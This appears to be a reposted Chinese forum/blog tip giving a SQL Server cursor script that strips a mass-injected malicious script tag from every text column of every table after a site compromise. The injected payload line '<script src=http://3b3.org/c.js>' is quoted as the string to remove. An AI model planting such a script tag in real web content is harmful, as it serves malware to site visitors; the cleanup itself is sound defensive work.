删除数据中所有被挂马的数据

    技术2022-05-19  25

    修改下面加粗的部分,在企业管理器中执行就行了 转: http://topic.csdn.net/u/20110307/12/b528d422-994c-4498-b548-158d00c9aaa4.html?34033 如何最快速度删除? " <script src=http://3b3.org/c.js> </script> " --------------------------------------------------------------- 进入SQL查询分析器 选择你的数据库 第一步:先sql表修改所有者为dbo EXEC sp_MSforeachtable 'exec sp_changeobjectowner ''? '', ''dbo '' ' 第二步:统一删除字段被挂的js declare @delStr nvarchar(500)  set @delStr= ' <script src=http://3b3.org/c.js> </script>' set nocount on declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int  declare @sql nvarchar(500) set @iResult=0  declare cur cursor for  select name,id from sysobjects where xtype= 'U ' open cur  fetch next from cur into @tableName,@tbID while @@fetch_status=0  begin  declare cur1 cursor for    --xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型    select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID  open cur1  fetch next from cur1 into @columnName  while @@fetch_status=0  begin    set @sql= 'update [' + @tableName + '] set ['+ @columnName + ']= replace(['+@columnName+ '],'''+@delStr+ ''', '''') where ['+@columnName+ '] like ''%'+@delStr+ '%'''    exec sp_executesql @sql     set @iRow=@@rowcount    set @iResult=@iResult+@iRow    if @iRow> 0    begin print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '    end     fetch next from cur1 into @columnName end  close cur1  deallocate cur1  fetch next from cur into @tableName,@tbID  end  print '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close cur  deallocate cur  set nocount off  


    最新回复(0)